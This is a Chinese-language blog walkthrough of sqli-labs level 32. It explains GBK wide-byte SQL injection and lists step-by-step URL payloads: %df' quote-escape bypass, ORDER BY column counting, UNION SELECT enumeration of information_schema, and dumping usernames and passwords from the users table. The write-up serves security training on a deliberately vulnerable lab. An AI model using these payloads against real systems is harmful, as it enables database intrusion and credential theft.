博客 / 詳情

返回

sqlilab —— 32關卡

sqlilab靶場 —— 第32關

使用寬字節的用法進行SQL注入

寬字節是什麼

“寬字節” 本質是多字節字符編碼(如 GBK、GB2312、Big5 等)的通俗叫法,這類編碼以2 個字節為單位表示一個字符(區別於 ASCII 單字節編碼,僅用 1 個字節)。

  • 單字節(ASCII):僅覆蓋 0-127 的字符(如數字、英文字母),每個字符佔 1 字節;
  • 寬字節(如 GBK):覆蓋中文、日文等雙字節字符,範圍包含0x8140-0xFEFE(排除部分無效區間),且第一個字節高位為 1(即≥0x80),第二個字節無強制限制。

寬字節注入的核心觸發點:寬字節編碼會將單字節的轉義符(如\,ASCII 碼 0x5c)與前一個字節拼接成一個合法的寬字節字符,從而繞過單引號 / 雙引號的轉義防護,實現 SQL 注入。

判斷注入類型

先一步進行測試

?id=1'

image-20251210094718074

進一步使用寬字節進行測試

?id=1%df'

image-20251210094911500

獲取數據庫信息

判斷數據表有幾列

?id=1%df' ORDER BY 3 --+

image-20251210095240745

進一步判斷有沒有更多的列:

?id=1%df' order by 4 --+

image-20251210095359398

結論:只有三列

判斷哪幾列能夠使用

?id=-1%df' UNION SELECT 1,2,3 --+

image-20251210112135920

爆破數據庫名

?id=-1%df' UNION SELECT 1,database(),3 --+

image-20251210112225889

爆表名

?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+

image-20251210112330002

爆字段名

?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273 --+

image-20251210112532480

獲取目標信息

?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users --+

image-20251210112643909

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.